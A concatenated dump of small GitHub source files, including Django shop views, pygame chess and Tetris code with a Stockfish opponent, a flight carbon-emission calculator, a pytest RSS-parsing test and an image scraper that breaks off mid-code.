app.run(debug=True)\n","repo_name":"pepeette/QRcode_generator","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"70445820637","text":"from django.shortcuts import render\nfrom django.views import View\nfrom datetime import time\nfrom django.conf import settings\n\nfrom contents.utils import get_categories, spike_expire_time\nfrom contents.models import ContentCategory\nfrom goods.models import SKU\n# Create your views here.\n\nclass IndexView(View):\n \"\"\"首页广告\"\"\"\n\n def get(self, request):\n \"\"\"提供首页广告界面\"\"\"\n categories = get_categories()\n\n contents = {} # 广告信息\n # 查询所有的广告的类别\n content_categories = ContentCategory.objects.all()\n\n for cat in content_categories:\n contents[cat.key] = cat.content_set.filter(status=True).order_by('sequence')\n\n # 渲染模板的上下文\n context = {\n 'categories': categories,\n 'contents': contents,\n }\n return render(request, 'index.html', context)\n\n\nclass SpikeView(View):\n \"\"\"秒杀\"\"\"\n def get(self,request):\n skus = SKU.objects.filter(id__lte=8)\n spike_end = spike_expire_time(*settings.SPIKE_LIST)\n # spike_end = spike_expire_time(2019,6,8,0,0,0)\n\n # 已售=销量/(销量+库存) sku.saled_rate\n for sku in skus:\n saled_rate = int((sku.sales/(sku.stock+sku.sales))*100)\n if saled_rate == 100:\n sku.saled_rate = \"已售完\"\n else:\n sku.saled_rate = \"已售出:{}%\".format(saled_rate)\n\n context = {\"skus\": skus, \"spike_end\":int(spike_end)}\n return render(request, \"spike.html\", context)\n","repo_name":"Jackvie/Meiduo","sub_path":"meiduo/meiduo/apps/contents/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"7140937053","text":"# №2.1[9]. По данному целому неотрицательному n вычислите значение n!. \n# N! = 1 * 2 * 3 * … * N (произведение всех чисел от 1 до N) 0! = 1 \n# Решить задачу используя цикл while\n# Примеры/Тесты:\n# 5 -> Факториал 5 равен 120\n# 0 -> Факториал 0 равен 1\n\n# N = int(input (\"Введите целое неотрицательное число N = \", ))\n# N_factorial = 1\n\n# # while N != 0:\n# # N_factorial *= N \n# # N -= 1\n\n# # print (f\"N! = \", N_factorial)\n\n\nN = int(input (\"Введите целое неотрицательное число N = \", ))\nN_factorial = 1\n\nif N == 0 or N == 1:\n print (f\"N! = \", 1)\nelse:\n for i in range (2, N+1):\n N_factorial *= i\n i += 1\n print (f\"N! = \", N_factorial)\n","repo_name":"MariZharkova/Python-_GB_20230126","sub_path":"task_2.1.py","file_name":"task_2.1.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"423789165","text":"from constants import *\n\n\nclass EvaluationW:\n def __init__(self, rect, corner):\n self.surf = pygame.Surface(rect, pygame.SRCALPHA)\n self.rect = rect\n self.corner = corner\n self.draw_k = 0.5\n self.evaluation = None\n self.is_hidden = False\n self.c1 = ColoursRGB.WHITE.rgb\n self.c2 = ColoursRGB.BLACK.rgb\n self.game_ = None\n\n def game_eval(self, game):\n if game.evaluation:\n self.evaluation = game.evaluation\n value = self.evaluation['value']\n if self.evaluation['type'] == 'cp':\n self.c1 = ColoursRGB.WHITE.rgb\n self.c2 = ColoursRGB.BLACK.rgb\n self.set_draw_k_from_evaluation(value / 100)\n elif self.evaluation['type'] == 'mate':\n if self.evaluation['value'] > 0:\n self.c1 = ColoursRGB.WHITE.rgb\n self.c2 = ColoursRGB.WHITE.rgb\n self.set_draw_k_from_evaluation(5)\n elif self.evaluation['value'] < 0:\n self.c1 = ColoursRGB.BLACK.rgb\n self.c2 = ColoursRGB.BLACK.rgb\n self.set_draw_k_from_evaluation(-5)\n\n @property\n def game(self):\n return self.game_\n\n @game.setter\n def game(self, g):\n self.game_ = g\n self.game_eval(g)\n\n def set_draw_k_from_evaluation(self, val):\n if val > 5:\n val = 5\n if val < -5:\n val = -5\n self.draw_k = (val + 5) / 10\n\n def hide(self):\n self.is_hidden = True\n\n def show(self):\n self.is_hidden = False\n\n def draw(self, sc):\n if not self.is_hidden:\n pygame.draw.rect(self.surf, self.c1,\n pygame.Rect(0, self.rect[1] - self.rect[0], self.rect[0], self.rect[0]),\n border_radius=self.rect[0] // 4)\n pygame.draw.rect(self.surf, self.c2,\n pygame.Rect(0, 0, self.rect[0], self.rect[0]),\n border_radius=self.rect[0] // 4)\n\n pygame.draw.rect(self.surf, ColoursRGB.WHITE.rgb,\n pygame.Rect(0, self.rect[0] // 2, self.rect[0],\n self.rect[1] - self.rect[0]))\n\n pygame.draw.rect(self.surf, ColoursRGB.BLACK.rgb,\n pygame.Rect(0, self.rect[0] // 2, self.rect[0],\n (self.rect[1] - self.rect[0]) * (1 - self.draw_k)))\n\n sc.blit(self.surf, self.corner)\n\n def update(self):\n if self.game is not None:\n self.game_eval(self.game)\n\n def input_processing(self, events, events_p):\n pass\n","repo_name":"loni-py/Chess","sub_path":"classes/EvaluationW.py","file_name":"EvaluationW.py","file_ext":"py","file_size_in_byte":2733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"70527283996","text":"from pathlib import Path\n\nimport pytest\nfrom scrapy.http import XmlResponse\n\nfrom scraper.spiders.dho.categories import DhOCategory\nfrom scraper.spiders.dho.spider import _get_messages_from_rss\n\n\n@pytest.fixture(scope=\"session\")\ndef rss_data() -> str:\n rss_file = Path(__file__).parent.parent.joinpath(\"data/rss.xml\")\n with open(rss_file, \"r\") as file:\n data = file.read()\n return data\n\n\n@pytest.fixture\ndef rss_response(rss_data: str) -> XmlResponse:\n return XmlResponse(\n url=\"https://www.dharmaoverground.org/c/message_boards/rss?plid=10262&groupId=10128&threadId=21844394&max=1000&type=rss&version=2.0\",\n encoding=\"utf-8\",\n body=rss_data,\n )\n\n\ndef test_all_messages_are_parsed_from_rss(rss_response: XmlResponse):\n\n # GIVEN the response object for an RSS\n # WHEN the RSS response is parsed\n messages = list(\n _get_messages_from_rss(\n response=rss_response, category=DhOCategory.ContemporaryBuddhism\n )\n )\n\n # THEN all messages are found\n assert len(messages) == 23\n","repo_name":"bjoernwe/dho-scrapy","sub_path":"tests/scraper/test_dho_parsing.py","file_name":"test_dho_parsing.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"35223463858","text":"# 10 - 155 = chess ## 160 - 370 = options ## 370 - 380 = call tetris ## 380+ = main menu\n\nimport pygame\nimport sys\nfrom stockfish import Stockfish\nimport ChessEngine\nfrom Tetris import startGame\n\nWIDTH = HEIGHT = 512\nDIMENSION = 8 # 8 x 8 - common in chess\nSQ_SIZE = HEIGHT // DIMENSION\nFPS = 60\nIMAGES = {}\nCOLORS = [(255, 255, 255), (200, 200, 200)]\n\nvsComputer = True\ncompColor = \"black\"\nstockfish = Stockfish(\"/Users/Kirill_07/stockfish_12_win_x64/stockfish_20090216_x64\")\n\n\ndef LoadImages():\n pieces = [\"bp\", \"bR\", \"bN\", \"bB\", \"bK\", \"bQ\", \"wp\", \"wR\", \"wN\", \"wB\", \"wK\", \"wQ\"]\n for piece in pieces:\n IMAGES[piece] = pygame.transform.scale(pygame.image.load(\"images/\" + piece + \".png\"), (SQ_SIZE, SQ_SIZE))\n # IMAGE['wP'] == \"wp.png\" (SQ_SIZE x SQ_SIZE)\n\n\n# chess #########################\n\ndef playChess():\n pygame.init()\n window = pygame.display.set_mode((WIDTH, HEIGHT))\n window.fill(pygame.Color(\"white\"))\n pygame.display.set_caption(\"Chess game?\")\n pygame.display.update()\n clock = pygame.time.Clock()\n game = ChessEngine.Game()\n validMoves = game.getValidMove()\n moveLog = []\n moveMade = False\n animate = True\n LoadImages()\n # drawMenu(window) ### does not work for now\n run = True\n gameOver = False\n computerTurn = False\n stockfish.set_skill_level(1)\n\n sqSelected = () # no square\n playerClicks = [] # track 1st and 2nd player [(0, 0), (1, 1)]\n filesToCols = {\"h\": 7, \"g\": 6, \"f\": 5, \"e\": 4,\n \"d\": 3, \"c\": 2, \"b\": 1, \"a\": 0}\n ranksToRows = {\"1\": 7, \"2\": 6, \"3\": 5, \"4\": 4,\n \"5\": 3, \"6\": 2, \"7\": 1, \"8\": 0}\n while run:\n if not gameOver:\n\n for e in pygame.event.get():\n if e.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n\n elif vsComputer and computerTurn:\n if game.checkMate: # if there is checkmate\n print(\"Checkmate\")\n else:\n computerMove = computer(moveLog, game)\n col = filesToCols[computerMove[0:1]]\n row = ranksToRows[computerMove[1:2]]\n sqSelected = (row, col)\n print(sqSelected[0], sqSelected[1], \"from\")\n playerClicks.append(sqSelected)\n col = filesToCols[computerMove[2:3]]\n row = ranksToRows[computerMove[3:4]]\n sqSelected = (row, col)\n print(sqSelected[0], sqSelected[1], \"to\")\n playerClicks.append(sqSelected)\n # stockfish.set_position(moveLog)\n move = ChessEngine.Move(playerClicks[0], playerClicks[1], game.board)\n\n printNotation(game, move, playerClicks)\n game.makeMove(move)\n moveMade = True\n animate = True\n moveLog.append(move.getChessNotation())\n\n sqSelected = () # clear move\n playerClicks = []\n computerTurn = False\n\n\n elif e.type == pygame.MOUSEBUTTONDOWN: # mouse down checker ######\n if game.checkMate: # if there is checkmate\n print(\"Checkmate\")\n else:\n location = pygame.mouse.get_pos() # location[x, y]\n col = location[0] // SQ_SIZE\n row = location[1] // SQ_SIZE\n if sqSelected == (row, col): # same\n sqSelected = ()\n playerClicks = []\n else:\n sqSelected = (row, col)\n playerClicks.append(sqSelected)\n if len(playerClicks) == 1 and game.board[sqSelected[0]][sqSelected[1]] == \"--\":\n sqSelected = ()\n playerClicks = []\n if len(playerClicks) == 2:\n move = ChessEngine.Move(playerClicks[0], playerClicks[1], game.board)\n if move in validMoves:\n printNotation(game, move, playerClicks)\n game.makeMove(move)\n moveMade = True\n animate = True\n moveLog.append(move.getChessNotation())\n print(\"moveLog = \" + str(moveLog))\n sqSelected = () # clear move\n playerClicks = []\n\n elif e.type == pygame.KEYDOWN: # keys down checker #####\n if e.key == pygame.K_z:\n game.undoMove()\n moveMade = True\n animate = False\n moveLog.pop()\n if vsComputer:\n game.undoMove()\n if e.key == pygame.K_r:\n game = ChessEngine.Game()\n validMoves = game.getValidMove()\n sqSelected = ()\n playerClicks = []\n animate = False\n moveMade = False\n moveLog = []\n if e.key == pygame.K_ESCAPE:\n run = False\n\n if moveMade:\n if animate:\n animation(game.moveLog[-1], window, game.board, clock)\n validMoves = game.getValidMove()\n moveMade = False\n animate = False\n\n if vsComputer:\n computerTurn = True if not game.whiteMove else False\n if computerTurn:\n computerMove = computer(moveLog, game)\n print(computerMove, computerTurn) # int(computerMove[1:2])\n\n drawGame(window, game, sqSelected, validMoves)\n clock.tick(FPS)\n pygame.display.flip()\n\n\ndef computer(moveLog, game):\n if compColor == \"black\":\n if not game.whiteMove:\n stockfish.set_position(moveLog)\n compMove = stockfish.get_best_move()\n return compMove\n else:\n if game.whiteMove:\n stockfish.set_position(moveLog)\n compMove = stockfish.get_best_move()\n return compMove\n\n\n# graphics ##########################################\n\ndef drawGame(window, game, sqSelected, validMoves):\n drawBoard(window)\n highlightCells(window, game, sqSelected, validMoves)\n drawPieces(window, game.board)\n\n\ndef drawBoard(window):\n colors = [pygame.Color(COLORS[0]), pygame.Color(COLORS[1])]\n for r in range(DIMENSION):\n for c in range(DIMENSION):\n color = colors[(r + c) % 2]\n pygame.draw.rect(window, color, pygame.Rect(c * SQ_SIZE, r * SQ_SIZE, SQ_SIZE, SQ_SIZE))\n\n\ndef drawPieces(window, board):\n for r in range(DIMENSION):\n for c in range(DIMENSION):\n piece = board[r][c]\n if piece != \"--\":\n window.blit(IMAGES[piece], pygame.Rect(c * SQ_SIZE, r * SQ_SIZE, SQ_SIZE, SQ_SIZE))\n\n\ndef printNotation(game, move, playerClicks):\n piece = game.board[playerClicks[0][0]][playerClicks[0][1]][1]\n endRow = move.getChessNotation()[2]\n endCol = move.getChessNotation()[3]\n if piece == \"p\": piece = \"\"\n return print(piece + endRow + endCol)\n\n\ndef highlightCells(window, game, sqSelected, validMoves):\n if sqSelected != ():\n r, c = sqSelected\n if game.board[r][c][0] == (\"w\" if game.whiteMove else \"b\"):\n s = pygame.Surface((SQ_SIZE, SQ_SIZE))\n s.set_alpha(100)\n s.fill(pygame.Color(\"blue\"))\n window.blit(s, (c * SQ_SIZE, r * SQ_SIZE))\n s.fill(pygame.Color(\"yellow\"))\n for move in validMoves:\n if move.startCol == c and move.startRow == r:\n window.blit(s, (SQ_SIZE * move.endCol, SQ_SIZE * move.endRow))\n\n\ndef animation(move, window, board, clock):\n dR = move.endRow - move.startRow\n dC = move.endCol - move.startCol\n framesPerCell = 5\n framesCount = (abs(dR) + abs(dC)) * framesPerCell\n for frame in range(framesCount + 1):\n r, c = (move.startRow + dR * frame / framesCount, move.startCol + dC * frame / framesCount)\n drawBoard(window)\n drawPieces(window, board)\n color = COLORS[(move.endRow + move.endCol) % 2]\n endCell = pygame.Rect(move.endCol * SQ_SIZE, move.endRow * SQ_SIZE, SQ_SIZE, SQ_SIZE)\n pygame.draw.rect(window, color, endCell)\n if move.pieceCaptured != \"--\":\n window.blit(IMAGES[move.pieceCaptured], endCell)\n window.blit(IMAGES[move.pieceMoved], pygame.Rect(c * SQ_SIZE, r * SQ_SIZE, SQ_SIZE, SQ_SIZE))\n pygame.display.flip()\n clock.tick(FPS)\n\n\n#\n# options ###############################\n#\n\ndef options():\n pygame.init()\n pygame.display.set_caption('game base')\n screen = pygame.display.set_mode((WIDTH, HEIGHT), 0, 32)\n font_game = pygame.font.SysFont(\"menu_font\", 32)\n font_name = pygame.font.SysFont(\"by\", 16)\n bg_image = pygame.transform.scale(pygame.image.load(\"images/menu_bg2.jpg\"), (WIDTH, HEIGHT))\n txt_color = (200, 200, 200)\n bWidth = WIDTH // 3\n bHeight = HEIGHT // 20\n bx = WIDTH // 2 - bWidth\n by = HEIGHT // 3 - bHeight\n\n click = False\n run = True\n while run:\n screen.fill(\"black\")\n screen.blit(bg_image, pygame.Rect(0, 0, WIDTH, HEIGHT))\n\n mx, my = pygame.mouse.get_pos()\n\n button_tetris = pygame.Rect(bx, by - bHeight * 2, bWidth, bHeight)\n button_chess = pygame.Rect(bx, by + bHeight * 0, bWidth, bHeight)\n button_main = pygame.Rect(bx, by + bHeight * 6, bWidth, bHeight)\n\n if button_tetris.collidepoint((mx, my)):\n if click:\n optionsTetris()\n if button_chess.collidepoint((mx, my)):\n if click:\n optionsChess()\n if button_main.collidepoint((mx, my)):\n if click:\n run = False\n\n # options\n draw_text('Tetris Options', font_game, txt_color, screen, bx, by - bHeight * 2)\n draw_text('Chess Options', font_game, txt_color, screen, bx, by + bHeight * 0)\n draw_text('back to menu', font_game, txt_color, screen, bx, by + bHeight * 6)\n\n clock = pygame.time.Clock()\n click = False\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n run = False\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1:\n click = True\n\n pygame.display.update()\n clock.tick(FPS)\n\n\n# optionsChess #\n\n\ndef cellColorChess(color1, color2):\n global COLORS\n COLORS = [color1, color2]\n\n\ndef optionsChess():\n pygame.init()\n pygame.display.set_caption('game base')\n screen = pygame.display.set_mode((WIDTH, HEIGHT), 0, 32)\n font_settings = pygame.font.SysFont(\"menu_font\", 24)\n bg_image = pygame.transform.scale(pygame.image.load(\"images/menu_bg2.jpg\"), (WIDTH, HEIGHT))\n txt_color = (200, 200, 200)\n bWidth = WIDTH // 4\n bHeight = HEIGHT // 20\n bx = WIDTH // 2 - bWidth\n by = HEIGHT // 6 - bHeight\n dy = 1.5\n dx = 0.5\n\n run = True\n click = False\n while run:\n screen.fill(\"black\")\n screen.blit(bg_image, pygame.Rect(0, 0, WIDTH, HEIGHT))\n\n mx, my = pygame.mouse.get_pos()\n\n button_1 = pygame.Rect(bx, by * 1, bWidth, bHeight)\n button_2 = pygame.Rect(bx, by + bHeight * dy, bWidth, bHeight)\n button_3 = pygame.Rect(bx, by + bHeight * 2 * dy, bWidth, bHeight)\n button_extra_1 = pygame.Rect(bx, by + bHeight * 4 * dy, bWidth, bHeight)\n button_extra_black = pygame.Rect(bx, by + bHeight * 5 * dy, bWidth, bHeight)\n button_main = pygame.Rect(bx - bWidth * dx, by + bHeight * 7 * dy, bWidth, bHeight)\n\n if button_1.collidepoint((mx, my)):\n if click:\n cellColorChess(\"white\", \"gray\")\n run = False\n if button_2.collidepoint((mx, my)):\n if click:\n cellColorChess((100, 200, 200), (100, 100, 200))\n run = False\n if button_3.collidepoint((mx, my)):\n if click:\n cellColorChess((250, 240, 200), (150, 100, 50))\n run = False\n if button_extra_1.collidepoint((mx, my)):\n if click:\n cellColorChess((255, 255, 255), (245, 245, 245))\n run = False\n if button_extra_black.collidepoint((mx, my)):\n if click:\n cellColorChess((10, 10, 10), (0, 0, 0))\n run = False\n if button_main.collidepoint((mx, my)):\n if click:\n run = False\n\n # pygame.draw.rect(screen, (0, 0, 0), button_1)\n draw_text('white / gray', font_settings, txt_color, screen, bx, by * 1)\n draw_text('blue / cyan', font_settings, txt_color, screen, bx, by + bHeight * dy)\n draw_text('white / brown', font_settings, txt_color, screen, bx, by + bHeight * 2 * dy) # dy = 1.5\n draw_text(\"Cells color\", font_settings, txt_color, screen, bx - bWidth * dx, by - bHeight * dy) # dx = 0.5\n draw_text(\"Extra options\", font_settings, txt_color, screen, bx - bWidth * dx, by + bHeight * 3 * dy)\n draw_text('white board', font_settings, txt_color, screen, bx, by + bHeight * 4 * dy)\n draw_text('night mode', font_settings, txt_color, screen, bx, by + bHeight * 5 * dy)\n draw_text('back to options', font_settings, txt_color, screen, bx - bWidth * dx, by + bHeight * 7 * dy)\n\n clock = pygame.time.Clock()\n\n click = False\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n run = False\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1:\n click = True\n\n pygame.display.update()\n clock.tick(FPS)\n\n\n# optionsTetris #\n\ndef optionsTetris():\n global colorsTetris\n pygame.init()\n pygame.display.set_caption('game base')\n screen = pygame.display.set_mode((WIDTH, HEIGHT), 0, 32)\n font_settings = pygame.font.SysFont(\"menu_font\", 24)\n bg_image = pygame.transform.scale(pygame.image.load(\"images/menu_bg2.jpg\"), (WIDTH, HEIGHT))\n txt_color = (200, 200, 200)\n bWidth = WIDTH // 4\n bHeight = HEIGHT // 20\n bx = WIDTH // 2 - bWidth\n by = HEIGHT // 6 - bHeight\n dy = 1.5\n dx = 0.5\n\n run = True\n click = False\n while run:\n screen.fill(\"black\")\n screen.blit(bg_image, pygame.Rect(0, 0, WIDTH, HEIGHT))\n\n mx, my = pygame.mouse.get_pos()\n\n button_1 = pygame.Rect(bx, by * 1, bWidth, bHeight)\n button_2 = pygame.Rect(bx, by + bHeight * dy, bWidth, bHeight)\n button_main = pygame.Rect(bx - bWidth * dx, by + bHeight * 7 * dy, bWidth, bHeight)\n\n if button_1.collidepoint((mx, my)):\n if click:\n colorsTetris = [(10, 10, 10), (50, 50, 50)]\n run = False\n if button_2.collidepoint((mx, my)):\n if click:\n colorsTetris = [(200, 200, 200), (10, 10, 10)]\n run = False\n if button_main.collidepoint((mx, my)):\n if click:\n run = False\n\n draw_text('dark', font_settings, txt_color, screen, bx, by * 1)\n draw_text('light', font_settings, txt_color, screen, bx, by + bHeight * dy) # dy = 1.5\n draw_text('back to options', font_settings, txt_color, screen, bx - bWidth * dx, by + bHeight * 7 * dy)\n\n clock = pygame.time.Clock()\n\n click = False\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n run = False\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1:\n click = True\n\n pygame.display.update()\n clock.tick(FPS)\n\n\n#\n# tetris ###########################################\n#\n\ndef playTetris():\n global colorsTetris\n startGame(colorsTetris)\n\n\n#\n# main menu ##################################################\n#\n\ndef draw_text(text, font, color, surface, x, y):\n text_obj = font.render(text, 1, color)\n text_rect = text_obj.get_rect()\n text_rect.topleft = (x, y)\n surface.blit(text_obj, text_rect)\n\n\ndef main_menu():\n global colorsTetris\n pygame.init()\n pygame.display.set_caption('game base')\n screen = pygame.display.set_mode((WIDTH, HEIGHT), 0, 32)\n font_game = pygame.font.SysFont(\"menu_font\", 32)\n font_name = pygame.font.SysFont(\"by\", 16)\n bg_image = pygame.transform.scale(pygame.image.load(\"images/menu_bg2.jpg\"), (WIDTH, HEIGHT))\n txt_color = (200, 200, 200)\n bWidth = WIDTH // 3\n bHeight = HEIGHT // 20\n bx = WIDTH // 2 - bWidth\n by = HEIGHT // 3 - bHeight\n\n colorsTetris = [\"black\", \"gray\"]\n click = False\n while True:\n screen.fill(\"black\")\n screen.blit(bg_image, pygame.Rect(0, 0, WIDTH, HEIGHT))\n\n mx, my = pygame.mouse.get_pos()\n\n button_1 = pygame.Rect(bx, by * 1, bWidth, bHeight)\n button_2 = pygame.Rect(bx, by + bHeight * 2, bWidth, bHeight)\n button_3 = pygame.Rect(bx, by - bHeight * 2, bWidth, bHeight)\n\n if button_1.collidepoint((mx, my)):\n if click:\n playChess()\n if button_2.collidepoint((mx, my)):\n if click:\n options()\n if button_3.collidepoint((mx, my)):\n if click:\n playTetris()\n pygame.draw.rect(screen, (0, 0, 0), button_1)\n pygame.draw.rect(screen, (0, 0, 0), button_2)\n # games\n xChess, yChess = bx, by * 1\n draw_text('Play Chess', font_game, txt_color, screen, xChess, yChess)\n xTetris, yTetris = bx, by - bHeight * 2\n draw_text('Play Tetris', font_game, txt_color, screen, xTetris, yTetris)\n # by someone\n draw_text('by Nick Komarov', font_name, txt_color, screen, xTetris + bWidth, yTetris)\n draw_text('by Dmytro Skorobahatko', font_name, txt_color, screen, xChess + bWidth, yChess)\n # options\n draw_text('Options', font_game, txt_color, screen, bx, by + bHeight * 2)\n\n clock = pygame.time.Clock()\n click = False\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n pygame.quit()\n sys.exit()\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1:\n click = True\n\n pygame.display.update()\n clock.tick(FPS)\n\n\nif __name__ == '__main__':\n main_menu()\n","repo_name":"DmytroSkorobahatko/GameProject_ChessAndTetris","sub_path":"Chess.py","file_name":"Chess.py","file_ext":"py","file_size_in_byte":19468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"37256471595","text":"#!/usr/bin/env python3\n\n###\n#@file flatpat.py\n#@page flatpat\n#@brief Read files of site pattern counts or frequencies and write a\n#flat file with a column for each site pattern and a row for each\n#input file.\n#\n\nfrom math import log\nimport sys\n\ndef usage():\n print(\"usage: flatpat.py inputfile1 [inputfile2 ...]\")\n exit(1)\n\n# Return a tuple containing a list of site pattern labels for the\n# current file and a list of site pattern frequencies.\ndef process_file(fname):\n f = open(fname)\n\n lbl = []\n frq = []\n\n # Fill arrays of labels and frequencies\n reading_patterns = False\n for line in f:\n line = line.strip()\n if len(line)==0:\n continue\n line = line.strip().split()\n if not reading_patterns:\n if len(line) >= 2 and line[1] == \"SitePat\":\n reading_patterns = True\n continue\n if reading_patterns:\n lbl.append(line[0])\n currfrq = line[1]\n frq.append(currfrq)\n\n f.close()\n\n return (lbl, frq)\n \nif len(sys.argv) < 2:\n usage()\n\n# abort with usage message if there are any flag arguments \nfor arg in sys.argv[1:]:\n if arg[0] == '-':\n usage()\n\n# Print a line of output for each input file. Each line has a column\n# for each site pattern. Make sure all files have the same site\n# pattern labels.\nfirst = True\nfor fname in sys.argv[1:]:\n lblvec, frqvec = process_file(fname)\n assert len(lblvec) == len(frqvec)\n if first:\n for lbl in lblvec:\n print(lbl, end=' ')\n print()\n first = False\n lblvec0 = [lbl for lbl in lblvec]\n else:\n if lblvec != lblvec0:\n print(\"Pattern label mismatch in file \\\"%s\\\"\" % fname, file=sys.stderr)\n sys.exit(1)\n for frq in frqvec:\n print(frq, end=' ')\n print()\n\n\n \n\n\n","repo_name":"alanrogers/legofit","sub_path":"src/flatpat.py","file_name":"flatpat.py","file_ext":"py","file_size_in_byte":1847,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"50"} +{"seq_id":"38777093736","text":"import numpy as np\nimport geopy as gp\nfrom geopy.geocoders import Nominatim\nfrom geopy import distance\n\n\nclass Flight:\n\n def __init__(self, places=None, flight_class='economy', user_agent=\"carbon_offsetter\"):\n \"\"\" Accepts an array of places, len > 1 \"\"\"\n assert( len(places) > 1 )\n\n # Init\n self.places = places\n self.flight_class = flight_class\n self.geolocator = Nominatim(user_agent=user_agent)\n self.init_dicts = self.init_dicts()\n\n # Run calcs\n self.carbon_eq = self.run_calcs(places)\n\n def run_calcs(self, places):\n \"\"\" Runner method to do/redo calculations given ordered list of places \"\"\"\n self.place = places\n self.coords = self.get_coords(self.places)\n self.total_km = self.calc_distance(self.coords)\n self.carbon_eq = self.calc_carbon(self.total_km)\n print(\"Carbon Emission EQ:\", self.carbon_eq)\n return self.carbon_eq\n\n def get_coords(self, places):\n \"\"\" Takes a list of strings, returns a list of lat,long tuples \"\"\"\n coords = []\n\n for place in places:\n loc = self.geolocator.geocode(place)\n tup = (loc.latitude, loc.longitude)\n print(place, tup)\n coords.append(tup)\n\n return coords\n\n def calc_distance(self, coords):\n \"\"\" Takes a list of latlong tuples and returns a final km total \"\"\"\n km = 0\n for i in range(len(coords) - 1):\n km += distance.distance(coords[i], coords[i+1]).km\n print(\"Travelling\", km, \"km total\")\n return km\n\n def calc_carbon(self, km):\n \"\"\" Takes in flight km, returns carbon eq \"\"\"\n if km < 1500:\n c = self.short_haul_dict\n elif km > 2500:\n c = self.long_haul_dict\n else:\n c = self.interp_dict(km)\n\n cw = self.get_cw(c)\n x = km + c['dc']\n\n term1 = ( c['a'] * x**2 + c['b'] * x + c['c'] ) / ( c['s'] * c['plf'] )\n term2 = ( 1 - c['cf'] ) * cw * ( c['ef'] * c['m'] + c['p'] )\n term3 = ( c['af'] * x ) + c['A']\n emission = term1 * term2 + term3\n return emission\n\n def interp_dict(self, km):\n denom = 1000\n coeff = km / denom\n constants = {}\n\n for key in self.short_haul_dict.keys():\n a = self.short_haul_dict[key]\n b = self.long_haul_dict[key]\n diff = abs(b - a)\n new_var = (coeff * diff) + a\n constants[key] = new_var\n\n return constants\n\n def get_cw(self, c):\n if self.flight_class == 'economy':\n cw = c['econ_cw']\n elif self.flight_class == 'business':\n cw = c['busn_cw']\n elif self.flight_class == 'first':\n cw = c['fcls_cw']\n else:\n cw = None\n\n return cw\n\n def init_dicts(self):\n self.short_haul_dict = {'s': 153.51,\n 'plf': .82,\n 'dc': 95,\n 'cf': .07,\n 'econ_cw': .96,\n 'busn_cw': 1.26,\n 'fcls_cw': 2.4,\n 'ef': 3.15,\n 'p': .54,\n 'm': 2,\n 'af': 0.0038,\n 'A': 11.68,\n 'a': 0,\n 'b': 2.714,\n 'c': 1166.52,\n }\n\n self.long_haul_dict = {'s': 280.21,\n 'plf': .82,\n 'dc': 95,\n 'cf': .26,\n 'econ_cw': .80,\n 'busn_cw': 1.54,\n 'fcls_cw': 2.4,\n 'ef': 3.15,\n 'p': .54,\n 'm': 2,\n 'af': 0.0038,\n 'A': 11.68,\n 'a': .0001,\n 'b': 7.104,\n 'c': 5044.93,\n }\n","repo_name":"bgreal5/carbon_offsetter","sub_path":"src/flight.py","file_name":"flight.py","file_ext":"py","file_size_in_byte":3643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"36431273821","text":"import urllib.request, urllib.parse, urllib.error\nimport json\n\nres = urllib.request.urlopen(\"http://py4e-data.dr-chuck.net/comments_1770478.json\").read().decode()\n\njson_data = json.loads(res)\n\n# print(json_data)\n\nsum = 0\nfor data in json_data[\"comments\"]:\n sum+= int(data[\"count\"])\n \nprint(sum)","repo_name":"raahim-syed/python-sandbox","sub_path":"web/json-basic.py","file_name":"json-basic.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"19237993485","text":"import requests\r\nfrom lxml import etree\r\nimport re\r\nimport time\r\nfrom urllib import request\r\nimport os\r\nimport threading\r\nfrom queue import Queue\r\nclass Productor(threading.Thread):\r\n HEADERS ={\r\n 'Referer':\"http://www.doutula.com/\",\r\n 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'\r\n }\r\n def __init__(self,page_queue,image_queue):\r\n super(Productor,self) .__init__()\r\n self.page_queue = page_queue\r\n self.image_ueue = image_queue\r\n def run(self):\r\n while True:\r\n if self.page_queue.empty():\r\n break\r\n url = self.page_queue.get()\r\n self.parse_url(url)\r\n def parse_url(self,url):\r\n response = requests.get(url, headers=self.HEADERS)\r\n html = etree.HTML(response.text)\r\n imgs = html.xpath(\r\n '//div[@class=\"col-sm-9 center-wrap\"]/a/div[@class=\"random_article\"]/div/img[@referrerpolicy=\"no-referrer\"]')\r\n for img in imgs:\r\n 